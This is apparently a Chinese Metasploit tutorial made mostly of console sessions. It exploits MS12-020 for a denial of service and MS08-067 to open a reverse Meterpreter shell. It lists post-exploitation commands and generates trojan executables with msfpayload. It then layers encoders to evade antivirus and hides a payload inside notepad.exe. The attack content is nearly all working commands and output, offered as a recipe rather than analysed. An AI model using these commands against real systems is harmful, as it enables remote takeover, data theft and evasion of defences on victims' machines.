前言
light@kali:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]]
+ -- --=[ 1331 exploits - 722 auxiliary - 214 post ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
msf > search ms12-020
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS
auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft Remote Desktop Checker
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids)
msf auxiliary(ms12_020_maxchannelids) > show options
Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 3389 yes The target port
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.116.129
RHOST => 192.168.116.129
msf auxiliary(ms12_020_maxchannelids) > run
[*] 192.168.116.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.116.129:3389 - 210 bytes sent
[*] 192.168.116.129:3389 - Checking RDP status...
[+] 192.168.116.129:3389 seems down
[*] Auxiliary module execution completed
msf > search ms08-067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (AlwaysOn NX)
4 Windows XP SP2 English (NX)
5 Windows XP SP3 English (AlwaysOn NX)
6 Windows XP SP3 English (NX)
7 Windows 2003 SP0 Universal
8 Windows 2003 SP1 English (NO NX)
9 Windows 2003 SP1 English (NX)
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
13 Windows 2003 SP2 German (NO NX)
14 Windows 2003 SP2 German (NX)
15 Windows XP SP2 Arabic (NX)
16 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
17 Windows XP SP2 Chinese - Simplified (NX)
......
msf exploit(ms08_067_netapi) > set TARGET 17
TARGET => 17
msf exploit(ms08_067_netapi) > set RHOST 192.168.116.129
RHOST => 192.168.116.129
msf exploit(ms08_067_netapi) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.116.129 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.116.128 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
17 Windows XP SP2 Chinese - Simplified (NX)
msf exploit(ms08_067_netapi) > run
[*] Started reverse handler on 192.168.116.128:4444
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.116.129
[*] Meterpreter session 1 opened (192.168.116.128:4444 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400
background（进程隐藏至后台） sessions（查看已经成功获取的会话，-i 恢复会话） quit（关闭当前会话） shell （获取系统控制台shell，如果目标系统命令行可执行程序不存在或禁止访问， 则shell命令会出错） irb（与Ruby终端交互，调用metasploit封装好的函数；在irb中还可以添加metasploit附加组件railgun，直接与windows本地API进行交互）
cat（目标系统文件交互） getwd（获取目标机当前工作目录,getlwd本地当前工作工作目录） upload（上传文件或文件夹到目标机 -r 递归） download（从目标机下载文件或文件夹 -r 递归） edit（调用vi编辑器，对目标上的文件进行编辑） search（对目标机的文件进行搜索）
ipconfig（获取目标主机上的网络接口信息） portfwd（端口转发：将目标主机开放但不允许访问的端口进行转发） route（显示目标主机路由信息）
ps（查看目标机正在运行的进程信息） migrate（将meterpreter会话进程迁移到另一个进程内存空间） execute（在目标机上执行文件） getpid（当前会话所在进程的pid值） kill（终结指定的pid程序） getuid（获取当前会话用户名） sysinfo（获取系统信息） shutdown（关闭目标主机）
screenshot（截获被控主机当前桌面）
light@kali:~# msfpayload -l Framework Payloads (340 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/exec Execute an arbitrary command bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6 bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6 bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6 bsd/x86/shell_find_port Spawn a shell on an established connection bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe) bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6 ....
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe
light@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 287 Options: {"LHOST"=>"192.168.116.128", "LPORT"=>"10086"}
light@kali:~# file Desktop/muma01.exe Desktop/muma01.exe: PE32 executable (GUI) Intel 80386, for MS Windows
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler...
msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler... [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >
msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe
light@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/bind_tcp Length: 295 Options: {"RHOST"=>"192.168.198.224", "LPORT"=>"10086"}
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler
[*] Starting the payload handler... [*] Started bind handler [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >
light@kali:~# msfencode -l Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -t exe > Desktop/muma_encode.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 2 -t exe -o Desktop/muma_multiEncode.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -x Desktop/notepad.exe -k -t exe -o Desktop/muma_notepad.exe